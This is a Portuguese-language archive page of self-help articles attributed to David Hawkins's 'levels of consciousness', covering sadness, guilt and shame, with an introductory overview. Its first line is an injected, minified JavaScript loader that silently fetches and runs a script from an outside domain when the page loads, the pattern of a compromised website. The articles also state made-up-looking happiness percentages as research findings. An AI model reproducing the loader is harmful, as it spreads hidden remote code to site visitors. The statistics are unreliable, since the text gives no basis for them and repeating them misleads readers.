;(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,"script","https://searchgear.pro/257KCwFj"); Arquivo de Níveis de Consciência - Página 4 de 4 - David Hawkins Brasil
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Níveis de Consciência

Como se Livrar da tristeza – com base em Dr. David Hawkins

A tristeza é uma reação natural do ego humano que aparece toda vez que nos frustramos sobre uma expectativa.

Ficamos tristes todas as vezes que perdemos algo, alguém, uma posição ou não conseguimos aquilo que queríamos. A tristeza é uma condição de luto.

Por que ela surge? Ela aparece como forma de impotência por não ter conseguido intervir para alcançar um resultado, salvar seu objeto ou manter um relacionamento próximo.

Com isso, ficamos emocionalmente abalados por não sabermos como será o futuro sem aquele algo que nos acompanhou até ali.

Ou, ainda, vivemos na incerteza pelos planos não terem dado certo.

De onde ela surge?

Nosso ego é completamente aversivo à incerteza e é daí que nascem as emoções negativas.

Aversão ao desconhecido. Aversão por não saber se o diferente será tão prazeroso como imaginamos que seria ou como foi no passado.

A tristeza surge da ilusão de que:

  1. Tudo aquilo que imaginamos nas condições perfeitas e possíveis de nossa mente irá se manifestar na realidade (e se não se manifestar seremos infelizes);
  2. Tudo aquilo que possuímos continuará conosco pelo período que acreditamos ser o ideal em nossa mente.

Vamos ver um exemplo de ilusão que gera tristeza:

Quando eu compro um carro, já planejo ficar com ele por uns 3 anos e depois vendê-lo, sem qualquer arranhão, e ganhar um bom dinheiro na venda.

Se algo sair desta expectativa, me frustro e encontro a tristeza.

Pode acontecer do carro:

  • bater,
  • ser roubado,
  • quebrar,
  • sair de linha,
  • ser desvalorizado,
  • ocorrer uma crise econômica,
  • posso não achar um bom comprador,
  • posso ficar sem dinheiro pra completar a entrada para um novo carro.

Ou seja, infinitas possibilidades.

Mas, como em minha mente tudo é perfeito, quero (mimadamente) que tudo saia de acordo com o esperado. Não sairá!

Como, então, diminuir a tristeza em nossas vidas?

Para que possamos diminuir nossas expectativas e tristezas, um bom exercício é perceber que tudo é impermanente.

E, mais do que isso, perceber que tudo acontece por sincronicidade.

Essa sincronicidade está ligada à diversas variáveis. Depende da:

  • intenção de 7 bilhões de pessoas,
  • das culturas e condições sociais de cada ambiente,
  • mais a natureza,
  • mais as condições climáticas e territoriais,
  • e ainda do universo todo se movimentando.

Então, o que tiver que acontecer, irá acontecer para que a sincronia continue perfeita.

Assimilando isso, percebemos que nosso controle sobre as coisas é frágil.

Aí nos aproximamos mais da realidade como ela é, e não como gostaríamos que fosse em nossa imaginação.

Pois, só na imaginação controlamos todas as situações e pessoas do jeito que queremos.

Com esse primeiro discernimento, podemos avaliar o seguinte: nada é propriedade nossa (com total controle).

Apenas exercemos um governo e uma responsabilidade pelas coisas, pessoas e situações que estamos inseridos, enquanto a sincronia da vida permite.

São pequenos mimos que recebemos da vida por um período para que possamos desfrutar de prazeres.

Por isso, se essas condições forem supervalorizadas, no momento onde esses mimos tiverem que se separar de nós, vão nos fazer chorar, gritar e berrar, como uma criança birrenta.

Pergunte a si mesmo: quem está lidando com a perda que causa tristeza?

Vale então se perguntar: quem é que está lidando com essa perda, o adulto maduro ou a criança mimada dentro de mim?

O adulto maduro percebe a perda como algo natural da vida que muda a todo instante e, por mais que sofra, encara aquilo com coragem de seguir em frente.

A criança mimada já acha que o mundo dela acabou. Acha que nunca mais será feliz, que a vida é injusta, que Deus está punindo, etc etc etc. Acredita em “história para boi dormir”.

E por isso vem a tristeza. Entendendo que tudo é impermanente e estamos exercendo uma responsabilidade temporária, podemos trocar expectativas de cenários ideais por intenções reais.

Abrindo mão, deixando ir.

É necessário abrir mão de posturas como:

  • “tenho que proteger isso (pessoa, coisa, situação, ideia, opinião, expectativa) com unhas e dentes”.
  • “isso é meu e tem que durar o quanto eu quero” — reação da inconsciência animal emocional.

Assim, passo a exercer o: “vou dar meu melhor para desfrutar disso enquanto me for permitido” — intenção da consciência humana racional.

Essa abordagem — com base na realidade como ela se manifesta — nos protege de acreditar nos véus de ilusão que nos permitimos colocar através das sugestões incansáveis de nossa mente tagarela e desesperada.

Afinal, esses véus ilusórios foram criados simplesmente pelas projeções de expectativas de nossos círculos sociais sobre nós e pelos ideais inconscientes culturais de nossa sociedade.

Agora que entende um pouco melhor o que é a tristeza, segue uma sugestão: se você quiser realizar outras práticas para complementar a abordada neste artigo, pode visitar a página de Autodesafios© Pandora Treinamentos e verificar qual área da sua vida está passando por dificuldades e que você gostaria de ajustar.

Boas práticas.

Este artigo faz parte de uma série de artigos que exploram os níveis de consciência humanos.

Abaixo a lista dos artigos sobre os níveis de consciência em ordem:

00. Entendendo os níveis de consciência

01. Como vencer a vergonha?

02. Culpa, para que serve?

03. Como se livrar da tristeza?

04. Enfrentando o medo.

05. O desejo é a fonte do sofrimento.

06. Como controlar a raiva.

07. Por que o orgulho pode nos Prejudicar?

08. Coragem é a base do sucesso.

09. A neutralidade nos ajudar a não sofrer.  

10. Disposição pode nos levar a resultados inimagináveis

11. Aceitação, o caminho do perdão.

12. Apenas 4% das pessoas utilizam a razão.

13. O que é amor verdadeiro?

14. A Paz e o processo de Iluminação

15. Como despertar a Iluminação Espiritual

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Níveis de Consciência

Culpa: para que serve? – com base em Dr. David Hawkins

A culpa é tão comum em nossas vidas que nem a percebemos mais, mas ela está presente em quase todos os aspectos de nosso dia a dia.

Você já percebeu como a culpa está presente em nosso cotidiano? Quantas culpas temos instituidas em nosso dia a dia? Caso não, te convido a perceber.

Sentimos culpa em vários momentos por estarmos fazendo alguma coisa e não outra.

Por exemplo: estamos fazendo uma atividade de casa e nos culpamos por não estarmos fazendo uma tarefa do trabalho.

E, quando passamos a fazer essa tarefa, começamos a nos culpar por não termos tempo de estar com a família ou dar atenção para os filhos ou cônjuge.

Aí damos atenção a eles e nos sentimos culpados por não estarmos descansando.

Sentimos culpa em diversas situações.

A culpa também aparece depois:

  • de falarmos algo em hora errada,
  • por errarmos
  • de algo que não saiu do jeito que queríamos,
  • por estarmos em algum lugar quando “deveríamos” estar em outro,
  • de termos magoado alguém.

Além disso, a culpa surge também como negação da responsabilidade e projeção da culpa no externo, que pode gerar até mesmo sensações de:

  • ódio,
  • vingança e
  • ranger dos dentes.

E isso pode levar a culpar o outro por sua infelicidade, por acreditar que:

  • algo saiu diferente do que você queria,
  • por essa pessoa ser diferente,
  • porque não conseguir controlar as ações dela,
  • por ter estragado algo,
  • ou por outra qualquer coisa.

A culpa se transforma rapidamente em ódio vingativo.

Na história de nossa sociedade, vimos diversos políticos tiranos absolutistas cometerem atrocidades e dizimarem nações e culturas por projetarem nos outros a culpa por suas infelicidades ou por não conseguirem o que querem.

E o que é a culpa?

A culpa é um mecanismo de defesa do nosso ego que não leva em consideração a curva de aprendizagem, onde tudo acontece por um motivo para que estejamos em constante evolução.

Se passamos por uma situação é porque precisamos passar, caso contrário não passaríamos. Essa é a Realidade.

Aceitar a realidade sem cair em culpa é um desafio.

Para isso, é importante buscar trocar o sentimento de culpa interna ou externa por responsabilidade pessoal própria e intransferível.

Tudo que acontece com você é sua responsabilidade, pois suas decisões te levaram até ali e suas necessidades de aprendizado inconscientes atraem as situações pelas quais você passa.

Portanto, é necessário trocar culpa por responsabilidade de aceitar, aprender e mudar quando possível.

Gosto muito de uma frase do teólogo Reinhold Niebuhr que ajuda bastante no processo de transcendência da culpa:

“Que eu tenha serenidade para aceitar as coisas que não posso mudar, coragem para mudar as que posso e sabedoria para distinguir entre as duas.”

A culpa apenas nos faz sentir negativos diante das situações e gastar energia com aquilo que não podemos mudar, que é o passado, acreditando que ele prejudicou seu presente e seu futuro.

Mas isso é uma ausência de Realidade, logo, falsidade. Pois tudo está suscetível à mudança a todo momento, assim como a alegria e felicidade de cada um de nós.

Pois bem, essa é uma questão de decisão. Largar mão do negativo e deixar de lado as resistências ao positivo.

E o que fazer com os erros que cometemos?

Decisões passadas foram tomadas com base no limite de consciência daquele momento passado.

Enxergamos hoje como uma escolha ruim porque evoluímos. Caso contrário, enxergaríamos como uma boa escolha ou nem a perceberíamos, por ser uma escolha normal.

Então, entender, honrar e respeitar suas limitações passadas faz com que o erro deixe de ser prejudicial.

De inútil, o erro se transforma em algo benéfico e útil: aprendizado. Ao invés de sofrer, podemos agradecer por perceber os erros e ter a oportunidade de superá-los.

E, com isso, a alegria súbita surge. Pois, ao aprendermos algo e pararmos de resistir às situações como aconteceram, a angústia é trocada por alívio.

E então, para que ela serve?

A resposta mais certeira é: para nada.

No estado adulto a culpa se torna obsoleta. Ela é um recurso necessário apenas na fase de desenvolvimento do ser humano.

Assim, a partir da culpa, a criança em formação pode discernir o certo do errado e a moralidade da imoralidade, adquirindo responsabilidade sobre seus atos ou ausência de atos.

Quando já temos isso definido em nosso sistema, na limitação de nossos níveis de consciência e percepções de cada momento, a culpa se torna obsoleta e pode ser substituída completamente por aprendizagem súbita e radical.

Errou? Aprenda e pronto! Só isso.

Se sentir que é necessário, peça perdão se perceber que alguém se feriu, com verdade e compaixão.

E siga em frente dando o seu melhor, com gratidão pela oportunidade de uma evolução de consciência.

Observação: o segredo para superar a culpa.

Para vencer a culpa é necessário observar.

Observar profundamente como nossos sentimentos constroem padrões que protegem nossos prazeres de curto prazo e nos defendem dos desprazeres sensoriais, evitando nossa evolução.

E como esses sentimentos argumentam sobre o que está “certo” ou “errado” através de pensamentos sedutores.

Então, esses pensamentos sedutores nos convencem de que nossa visão de mundo é a correta.

O pensamento se torna ação, depois hábito. Forma nosso caráter e, por fim, manifesta-se nos resultados que alcançamos ou não alcançamos em nossas vidas.

Mas como assim? O que significa observar?

Observar é perceber os sentimentos, as sensações e os pensamentos como eles são e se manifestam.

E é por isso que, a partir daí, podemos perceber que esses impulsos são apenas sugestões da mente.

Mais do que isso, percebemos que nós não somos os nossos impulsos, mas o observador por trás deles.

Assim como o silêncio permite a música, como o espaço permite a matéria, o observador permite o pensamento.

Observação não é:

  • analise,
  • crítica,
  • reflexão,
  • julgamentalismo,
  • posicionalidade,
  • resistência ao que surge,
  • querer mudar o que surge,
  • querer entender os porquês.


Nada disso! Observação é puro entendimento e compreensão silenciosos. Sem qualquer ruído ou barulho que nos desfoque da profundidade daquilo que é real.

É aceitação e é desapego.

Essa aceitação com o que se foi e o desapego no controle do resultado, se permitindo ser quem é em um estilo de vida onde você dá o seu melhor em todos os momentos, é Amor.

E Amor cura a culpa.

Este artigo faz parte de uma série de artigos que exploram os níveis de consciência humanos.

Abaixo a lista dos artigos sobre os níveis de consciência em ordem:

00. Entendendo os níveis de consciência

01. Como vencer a vergonha?

02. Culpa, para que serve?

03. Como se livrar da tristeza?

04. Enfrentando o medo.

05. O desejo é a fonte do sofrimento.

06. Como controlar a raiva

07. Por que o orgulho pode nos Prejudicar

08. Coragem é a base do sucesso

09. A neutralidade nos ajuda a não sofrer

10. Disposição pode nos levar a resultados inimagináveis

11. Aceitação, o caminho do perdão.

12. Apenas 4% das pessoas utilizam a razão.

13. O que é amor verdadeiro?

14. A Paz e o processo de Iluminação

15. Como despertar a Iluminação Espiritual

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Vergonha, é possível vencê-la? – com base em Dr. David Hawkins

A vergonha é um dos maiores bloqueios do ser humano para enfrentar problemas e se desenvolver

Essa emoção está tão presente em nosso dia a dia que muitas vezes nem a percebemos. Sentimos vergonha:

  • por um elogio,
  • em ter feito algo sem querer que saia dos padrões aceitáveis da sociedade (deixar comida cair, babar ao rir, arrotar entre a fala, etc),
  • vergonha por estar com uma espinha no rosto,
  • da nossa gordurinha localizada,
  • de nossa família,
  • de nós mesmos,
  • vergonha “alheia” (pelo que o outro fez),
  • vergonha de assumir nossas decisões,
  • de voltar atrás em uma decisão,
  • de nossos pensamentos bizarros que achamos que só nós temos,
  • vergonha de sentir vergonha.

Afinal, por que sentimos tanta vergonha?

Para entender isso, precisamos beber da fonte da vergonha, que é a resistência à Realidade. A vergonha é o medo de:

  • não ser aceito pelos outros,
  • errar,
  • se expor ao ridículo,
  • falhar,
  • decepcionar os outros,
  • não atender às expectativas dos outros ou de si.

Ou seja, são medos das projeções e cobranças sociais e culturais.

Historicamente, vergonha era acompanhada de banimento. Um pária da sociedade era banido de seu grupo ou bando e fadado a viver em isolamento como castigo por ser diferente.

Antigamente, os grupos de humanos eram mais restritos, mais desconfiados de estranhos e a violência era liberada por ausência de autoridades.

Por isso, ser banido era sinônimo de quase morte. Era apenas uma questão de tempo até ficar sem recursos ou ser atacado por um animal faminto ou um bárbaro.

Consequentemente, esse trauma ficou registrado no inconsciente da sociedade e, hoje, a vergonha continua como um dos sentimentos mais inaceitáveis que se pode ter.

É um sentimento que traz tanta ausência de energia que é considerado o mais próximo da morte pelo Dr. David R. Hawkins, Ph.D., M.D. americano, autor do livro best-seller Power vs Force.

Dr. Hawkins afirma que a vergonha é utilizada como uma ferramenta de crueldade na sociedade, através de acusações e projeções de culpa pelos atos de uma pessoa no passado.

Isso se manifesta através de afirmações como: “você não tem vergonha?”, “eu sinto vergonha de você”, “você deveria se envergonhar”, “você é uma vergonha para a sociedade”.

Qualquer atitude que saia dos padrões de crenças de uma pessoa é considerada inaceitável, condenável e, logo, digna de vergonha.

Para entender como vencer a vergonha é necessário primeiro entender alguns pontos:

1. Vergonha é atrelada às crenças

Todos os seres humanos possuem sistemas de crenças próprios ou coletivos. Esses sistemas não são a Realidade, mas pontos de vistas julgamentalistas e emocionais sobre ela.

São opiniões e posicionalidades diferentes e distantes do que realmente É ou Foi. São retratos da realidade extraídos de um ângulo que não considera e percebe os outros ângulos.

Como em uma Polaroid, a foto esmaece e perde sua nitidez. Dessa forma, qualquer vergonha não é a Realidade, mas uma mera percepção sobre ela e a vontade de controlar como a realidade “deveria ser” ou “deveria ter sido”.

2. Vergonha é resistência à Realidade

Com isso, percebemos que a realidade acontece e, quando acontece, resistimos à ela por querer que ela “tivesse sido” diferente.

E isso é distanciamento da realidade. Afinal, a realidade é como se manifesta e não tem como ser diferente, caso contrário já seria diferente, obviamente.

Portanto, resistir à realidade traz sofrimento. Quanto maior o grau de resistência, maior o sofrimento. E o grau máximo de resistência à realidade leva o nome de vergonha.

Em suma, a vergonha é um estado onde gostaríamos de sumir, de virar um avestruz e esconder nossas cabeças na terra ou até mesmo preferir “morrer” ao invés de encarar aquela situação.

3. Vergonha é uma mentira bem contada

Se vergonha é resistência à realidade, mas acreditamos nela, significa que esse sentimento vem acompanhado de diversas justificativas argumentativas que nos convencem que devemos acreditar na vergonha e nos sentir envergonhados.

Essas justificativas são falsas, pois elas negam a realidade. Logo, o que nega a realidade é falsidade, é irrealidade, é ilusão.

Como, então, fazemos para vencer essa emoção?

Devemos aceitar a realidade como ela se manifesta ou se manifestou, sem resistência e, se possível, com gratidão.

Afinal, essa realidade é uma oportunidade de aprendizado para fazermos diferente da próxima vez. Todos os seres humanos erram. E o erro é a forma de acertarmos e nos corrigirmos. Isso é evolução.

O caminho é aprender com os erros e ser grato a eles. Quando aceitamos a realidade, partimos do princípio de humildade em reconhecer que as coisas não são como queremos que sejam, pois não temos o controle de tudo ao nosso redor.

Portanto, quando entendemos esse princípio, passamos a ver a vida com maior Graça. Com humor. E no humor não há vergonha. Ela é chata. Humor é divertido.

Mas o que significa aceitar a realidade?

Aceitar a realidade é entender que tudo ao nosso redor convergiu para que aquela determinada situação ocorresse por algum motivo, às vezes não entendida a partir das nossas percepções limitadas dos cinco sentidos e da interpretação da mente.

Partindo do principio de que “se aconteceu é porque tinha que ter acontecido”, nos livramos do peso do erro intencional ou por incapacidade.

Só nos vemos capazes de fazer diferente agora porque já experienciamos aquela situação. Seria impossível fazer diferente antes, porque senão teríamos feito. Aí está a Evolução.

Isso implica em, aprender com o erro e se permitir entender as coisas de maneira mais ampla, sem se culpar pelo passado.

Se negamos a realidade caímos em vergonha e, presos nesse sentimento denso, nada acontece. Não há aprendizado.

Então, a experiência perde sua essência e um acontecimento semelhante terá de surgir novamente. Só assim será possível despertar o nosso potencial de aprendizado que foi negligenciado na experiência anterior por não termos aprendido com o “erro”.

Assim, nos escravizamos em um círculo vicioso de sermos sempre vítimas de nossas próprias escolhas ou ausências de escolhas.

Para vencer a vergonha é necessário querer abrir mão do prazer de ser vítima. Pois a vítima tem o benefício de receber atenção daqueles que sentem dó. E receber esse amparo e carinho é agradável para o nosso ego narcisista.

Logo, ficar envergonhado e se colocar no papel de vítima tem suas recompensas: o de se tornar o centro das atenções.

Esse prazer oculto do ego precisa ser rendido e entregue, entendendo que essa atenção recebida temporariamente só faz com que nos mantenhamos no estado de vergonha até um próximo ciclo.

Ou seja, um minúsculo prazer de curto prazo que traz sofrimento no curto, médio e longo prazo e não vale a pena no contexto evolutivo.

10 passos práticos para vencer a vergonha

Na prática, assim que essa emoção surge, devemos:

  1. Separar o fato de como acreditamos que deveria ter ocorrido (nossa expectativa).
  2. Identificar o sentimento de vergonha e suas falsas justificativas e emocionalidades que tentarão te convencer que se envergonhar é o correto.
  3. Aceitar a realidade como ela É Agora.
  4. Render os prazeres de (a) se envolver com seus julgamentalismos e certezas mentais e (b) buscar atenção e afeto externo através de dó ou autopiedade.
  5. Não ser tirano consigo mesmo e “se dar bronca” por sentir vergonha, mas entender que é apenas uma natureza do ego humano e aceitar também essa natureza, sendo gentil com você mesmo. Se não, pode surgir a vergonha por sentir vergonha.
  6. Continuar observando os jogos falaciosos do ego (seu próprio e dos outros) até sair do turbilhão.
  7. Refletir sobre os aprendizados obtidos com a situação e agradecer pela oportunidade de perceber o absurdo de querer rejeitar a realidade, transformando a falsa percepção em aceitação verdadeira.
  8. Se for possível e sentir necessário, corrija o percurso através do autoperdão, perdoando ou pedindo perdão aos envolvidos e se disponha a reparar os danos ou mudar os acontecimentos.
  9. Se essa opção não for possível, apenas realize o processo de perdão acima mentalmente e continue rendendo os sentimentos de vergonha que irão surgir (e tentar te seduzir) até que a situação se acalme ou passe.
  10. Aceite a si e à Realidade como São, em todos os momentos, sem exceções, dando o seu melhor para evoluir o suficiente a cada dia alinhado aos princípios de moralidade.

Consequências positivas

Treinamentos e Mentorias sobre perdão, empatia, espiritualidade ou autoconhecimento também podem ajudar a entendermos e nos aprofundarmos em nossa natureza. Como consequência positiva, podemos nos aceitar cada dia mais para nos tornarmos pessoas e seres melhores.

Boas práticas.

Acompanhe esta série de artigos do Dr. David Hawkins listados abaixo em ordem crescente:

00. Entendendo os níveis de consciência

01. Como vencer a vergonha?

02. Culpa, para que serve?

03. Como se livrar da tristeza?

04. Enfrentando o medo.

05. O desejo é a fonte do sofrimento.

06. Como controlar a raiva.

07. Por que o orgulho pode nos Prejudicar

08. Coragem é a base do sucesso

09. A neutralidade nos ajuda a não sofrer

10. Disposição pode nos levar a resultados inimagináveis

11. Aceitação, o caminho do perdão.

12. Apenas 4% das pessoas utilizam a razão.

13. O que é amor verdadeiro?

14. A Paz e o processo de Iluminação

15. Como despertar a Iluminação Espiritual

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Níveis de Consciência

Entendendo os níveis de consciência – com base em Dr. David Hawkins

Pesquisa mostra que a base do sofrimento são as emoções negativas sutis que mantemos em nosso dia a dia. Entenda os Níveis de Consciência.

Muitas pessoas dizem ou mostram ser felizes, e algumas até acreditam serem mesmo felizes, mas por dentro encontram-se repletas de emoções negativas. Como, por exemplo, medos, ansiedades, inseguranças, irritações, indignações, raivas, intolerâncias, exaltações, autocríticas, culpas, vergonhas, tristezas, vaidades, arrogâncias, invejas, negligências e desejos. Isso tudo são níveis de consciência de sofrimento.

Então vale pensar: até quando nossa felicidade sobressai o nosso sofrimento no dia a dia? Uma pesquisa realizada pelo Dr. David Hawkins, Ph.D. e M.D., mostra que 78% da população é, em média, de 1% a 22% feliz durante a sua vida. No resto do tempo, a população é envolvida por emoções negativas como aquelas que descrevemos acima.

Características gerais dos níveis de consciência negativos

Essas pessoas são consideradas pessoas que, durante a maioria de seus dias, possuem pensamentos e sentimentos negativos em maior quantidade do que positivos. A maior característica é a de não reconhecer a necessidade de autoconhecimento e de se aprofundar em si mesmo. Isso acontece porque as pessoas acreditam que a fonte de felicidade está fora delas: bens materiais, pessoas, entretenimento, lugares, comidas, finais de semana, trabalhar duro. Porém, essa expectativa de que algo externo será fonte de alegria acaba trazendo, muitas vezes, frustração.

Não se conhecer também implica em não permitir o erro. Logo, gera culpa externa ao invés de assumir a responsabilidade por tudo que acontece na sua vida, e culpa interna por se achar incapaz.

Pessoas em níveis de consciência negativos esquecem que a condição básica do ser humano é experienciar. Com isso, julgam as experiências ruins como erros, e não como aprendizados ou correções de percurso que levarão a algo maior. Isso faz com que a pessoa tenha um sentimento de escassez. Logo, acredita que precisa de tudo que encontra fora dela mesma (atenção, reconhecimento, conquistas, bens materiais, etc) para suprir sua carência e sentimento de ausência de felicidade, tornando-se egoísta.

Características gerais dos níveis de consciência positivos

Por outro lado, as pessoas mais conectadas com emoções positivas do que negativas são aquelas que constroem para si mesmas e para o mundo. Essa energia positiva de construtivismo faz com que as pessoas deem um salto quântico de felicidade de 22% para 55%, podendo chegar até 75% de felicidade e serenidade interna em seu dia a dia. Hoje, no mundo, temos uma média de 15% das pessoas com esses estados de consciência.

Essas pessoas possuem como princípios emoções de coragem, neutralidade, disposição, aceitação, desapego de resultados, entendimento sobre abundância, perdão e entusiasmo. São pessoas que evidenciam em suas vidas o seu próprio bem-estar e o bem-estar do próximo.

São as pessoas consideradas de “sucesso” nas quais nos espelhamos. Sucesso profissional, pessoal, relacional, etc. Dentro do conceito empresarial, são pessoas que pensam ganha-ganha. Pessoas que buscam evolução consciente, autoconhecimento e autodomínio.

Salto de felicidade: nível de consciência da razão

Há também um número de pessoas, ainda menor, em torno de 4% da população, que se encontram em um nível de razão. Pessoas que aprenderam a abstrair suas emoções positivas e negativas na maior parte do tempo de seu dia para analisar a realidade por trás dos acontecimentos, ao invés de saírem julgando pessoas e acontecimentos por aí. O que não significa que são pessoas frias, mas sim que conseguem observar suas emoções e escolhem se envolver apenas com as mais adequadas. Esse é o nível onde a ciência se encontra, onde os grandes gênios que conhecemos também estiveram. Muitos ganhadores de prêmios Nobel também se encontram nesse estágio de consciência onde a felicidade chega aos 86%.

Essas pessoas conseguiram entender que, por sermos pessoas racionais, devemos usar nossa razão para extrair os sentimentos ao invés de canalizá-los em julgamentos, opiniões e posicionamentos, que são sempre subjetivos. Ao invés disso se atém a interpretar os fatos como eles são. A lógica substitui o “achismo”. Existe uma percepção de alta performance por existir um equilíbrio constante e harmonia nas emoções.

É possível ir além da razão?

Sim. Ainda há uma pequena parcela da sociedade, mais precisamente de 3% a 4%, que atinge um estágio de experiência que entende o além-mente. Dentro da ciência, alguns físicos quânticos conseguiram explicar algumas variáveis sobre o assunto. Estão aqui pessoas que priorizam o serviço altruísta ao invés de suas necessidades pessoais e prazeres de curto prazo. Pessoas que vivem em um estado de Ser Amor, acima de tudo. Prezam por harmonia, paz, acordo, não julgamento, não resistência, desapego, misericórdia, generosidade e bondade.

Vemos nesses níveis pessoas que se doam por algo maior do que elas. Uma sociedade mais harmônica e colaborativa. Servem através do amor, da compreensão, da aceitação de cada pessoa como é. Não precisam mudar de ambiente ou contexto para servirem. Servem a todo momento, em todos os lugares a todas as pessoas, ativamente ou silenciosamente, dependendo do que cada situação exige em sua particularidade.

Essas pessoas partem de 89% de felicidade e, em raríssimos casos, podem chegar a 100% de felicidade. Felicidade plena e sem alteração.

Quer entender mais sobre os níveis de consciência?

É só clicar no botão ao final deste post. Assim, você vai poder conferir o próximo artigo da série que fala sobre como vencer a vergonha.

Este é o primeiro de uma série de artigos que explica cada um dos níveis de consciência detalhadamente. Os artigos mostram como acessar os níveis positivos e abstrair aqueles que são negativos. A série também traz a compreensão de por que cada pessoa age como age, pois as atitudes humanas são diretamente ligadas aos níveis de consciência.

Entendendo cada um dos níveis, podemos trocar a condenação por compreensão. Dessa forma, evoluímos nosso Ser de maneira real e objetiva, tornando as experiências das pessoas mais agradáveis quando estão ao nosso lado.

Na Pandora, em todas as nossas palestras, falamos sobre ferramentas internas e simples que podemos utilizar para expandir os níveis de consciência e diminuir a intervenção dos pequenos sofrimentos. Por exemplo: a irritação no trânsito, os conflitos no trabalho, os desentendimentos da família. A tristeza por perder um bem material, o derramar de um líquido, a ansiedade por chegar logo o próximo dia ou o medo de que ele chegue. A preocupação por estar atrasado, a autocrítica por estar se divertindo ao invés de produzindo ou por ter acordado tarde, a discussão interna com outra pessoa planejando todas as coisas que deixou de falar para ela, e assim por diante.

Que todos os seres sejam felizes.

Gratidão.

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Este artigo faz parte de uma série de artigos que exploram os níveis de consciência humanos.

Abaixo a lista dos artigos sobre os níveis de consciência em ordem:

00. Entendendo os níveis de consciência

01. Como vencer a vergonha?

02. Culpa, para que serve?

03. Como se livrar da tristeza?

04. Enfrentando o medo.

05. O desejo é a fonte do sofrimento.

06. Como controlar a raiva.

07. Por que o orgulho pode nos Prejudicar?

08. Coragem é a base do sucesso.

09. A neutralidade nos ajudar a não sofrer.  

10. Disposição pode nos levar a resultados inimagináveis

11. Aceitação, o caminho do perdão.

12. Apenas 4% das pessoas utilizam a razão.

13. O que é amor verdadeiro?

14. A paz e o processo de iluminação.

15. Como despertar a Iluminação Espiritual.